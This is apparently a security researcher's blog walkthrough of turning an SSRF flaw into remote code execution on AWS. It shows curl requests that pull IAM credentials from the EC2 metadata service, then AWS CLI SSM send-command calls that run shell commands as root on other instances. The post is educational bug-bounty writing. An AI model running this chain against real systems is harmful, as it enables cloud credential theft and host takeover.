Escalating SSRF to RCE

Retrieving AWS metadata and use it for RCE

Sander Wind
4 min readFeb 5, 2021

--

Recently, I stumbled upon a SSRF vulnerability allowing retrieval of the Amazon metadata for the EC2 instance running the vulnerable software. But how to proceed and turn the SSRF into RCE?

When researching a web application, I stumbled upon an endpoint which allowed me to perform SSRF. I’ll use the endpoint http://example.com/fetch?url=[path] as example.

Performing curl http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/ results in listing the directory contents of the Amazon metadata service.

$ curl http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/

First, let’s check the instance details so we know which region to use when performing AWS CLI commands.

$ curl http://example.com/fetch?url=http://169.254.169.254/latest/dynamic/instance-identity/document{
"accountId" : "19xxxxxxxxxx",
"architecture" : "x86_64",
"availabilityZone" : "eu-west-1c",
"billingProducts" : null,
"devpayProductCodes" : null,
"marketplaceProductCodes" : null,
"imageId" : "ami-xxxxxxxxxxxxxxxxx",
"instanceId" : "i-xxxxxxxxxxxxxxxxx",
"instanceType" : "r0x.large",
"kernelId" : null,
"pendingTime" : "2021-01-01T13:37:00Z",
"privateIp" : "172.10.1.1",
"ramdiskId" : null,
"region" : "eu-west-1",
"version" : "2020-01-01"
}

The item to keep in mind is "region": "eu-west-1". Now check the presence of security credentials. These credentials will lead us to the RCE.

When requesting http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/, a list with credentials is shown.

$ curl http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/webserver

Let’s check the contents of the webserver credentials!

$ curl http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/webserver{
"Code" : "Success",
"LastUpdated" : "2021-02-05T13:37:00Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAxxxxxxxxxxxxxxxx",
"SecretAccessKey" : "XxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxx",
"Token" : "A-secret-base64-encoded-token",
"Expiration" : "2021-02-06T13:37:00Z"
}

To check if the credentials are usable we are going to use the AWS CLI. For the next commands, use the data from the above request and the region value we retrieved before (eu-west-1).

$ export AWS_ACCESS_KEY_ID="[AccessKeyId]"
$ export AWS_SECRET_ACCESS_KEY="[SecretAccessKey]"
$ export AWS_DEFAULT_REGION="[region]"
$ export AWS_SESSION_TOKEN="[Token]"

Now it’s time to check the identity of the token.

$ aws sts get-caller-identity{
"UserId": "AROAxxxxxxxxxxxxxxxxx:i-xxxxxxxxxxxxxxxxx",
"Account": "19xxxxxxxxxx",
"Arn": "arn:aws:sts::19xxxxxxxxxx:assumed-role/webserver/i-xxxxxxxxxxxxxxxxx"
}

The Account property will be the same as the accountId in the document metadata endpoint. Same goes for the part after the : in UserId which is the same as the instanceId in the document metadata endpoint.

To get RCE we need to know on what instances the security credential is accepted for executing commands.

$ aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"1.2.3.4       example-1234567890.eu-west-1.elb.amazonaws.com 172.10.1.100    i-xxxxxxxxxxxxxxxxx     False   2021-02-05T13:37:00.000000+01:00        Online  Amazon Linux AMI        Linux   2020.01 EC2Instance

A list of available instances will be returned to send commands to. Let’s test the command execution on one of the instances from above list (copy the i-xxxxxxxxxxxxxxxxx value).

⚠️ Make sure to execute a safe command like whoami or uname. We do not want to disturb any services or even kill the instance.

$ aws ssm send-command --document-name "AWS-RunShellScript" --comment "RCE test: whoami" --targets "Key=instanceids,Values=[instanceid]" --parameters 'commands=whoami'{
"Command": {
"CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"DocumentName": "AWS-RunShellScript",
"DocumentVersion": "",
"Comment": "RCE test: whoami",
"ExpiresAfter": "2021-02-05T13:37:00.000000+01:00",
"Parameters": {
"commands": [
"whoami"
]
},
"InstanceIds": [],
"Targets": [
{
"Key": "instanceids",
"Values": [
"i-xxxxxxxxxxxxxxxxx"
]
}
],
"RequestedDateTime": "2021-02-05T13:37:00.000000+01:00",
"Status": "Pending",
"StatusDetails": "Pending",
"OutputS3BucketName": "",
"OutputS3KeyPrefix": "",
"MaxConcurrency": "50",
"MaxErrors": "0",
"TargetCount": 0,
"CompletedCount": 0,
"ErrorCount": 0,
"DeliveryTimedOutCount": 0,
"ServiceRole": "",
"NotificationConfig": {
"NotificationArn": "",
"NotificationEvents": [],
"NotificationType": ""
},
"CloudWatchOutputConfig": {
"CloudWatchLogGroupName": "",
"CloudWatchOutputEnabled": false
},
"TimeoutSeconds": 3600
}
}

Copy the CommandId from above and use it in the following command to check the output of the executed command.

$ aws ssm list-command-invocations --command-id "[CommandId]" --details{
"CommandInvocations": [
{
"CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"InstanceId": "i-xxxxxxxxxxxxxxxxx",
"InstanceName": "",
"Comment": "RCE test: whoami",
"DocumentName": "AWS-RunShellScript",
"DocumentVersion": "",
"RequestedDateTime": "2021-02-05T13:37:00.000000+01:00",
"Status": "Success",
"StatusDetails": "Success",
"StandardOutputUrl": "",
"StandardErrorUrl": "",
"CommandPlugins": [
{
"Name": "aws:runShellScript",
"Status": "Success",
"StatusDetails": "Success",
"ResponseCode": 0,
"ResponseStartDateTime": "2021-02-05T13:37:00.000000+01:00",
"ResponseFinishDateTime": "2021-02-05T13:37:00.000000+01:00",
"Output": "root\n",
"StandardOutputUrl": "",
"StandardErrorUrl": "",
"OutputS3Region": "eu-west-1",
"OutputS3BucketName": "",
"OutputS3KeyPrefix": ""
}
],
"ServiceRole": "",
"NotificationConfig": {
"NotificationArn": "",
"NotificationEvents": [],
"NotificationType": ""
},
"CloudWatchOutputConfig": {
"CloudWatchLogGroupName": "",
"CloudWatchOutputEnabled": false
}
}
]
}

If the command didn’t finish yet, the Status will be pending. When successfully executed the output is shown in CommandInvocations.CommandPlugins.Output.

>root 🔥

⁉️ Do you have ideas or suggestion for RCE using AWS security credentials? Let me know in the comments, I’m open to improvements!

--

--

Sander Wind
Sander Wind

Written by Sander Wind

Security researcher at Mission CTRL. Developer at Alserda. Bug bounty hunter on Intigriti. https://www.missionctrl.nl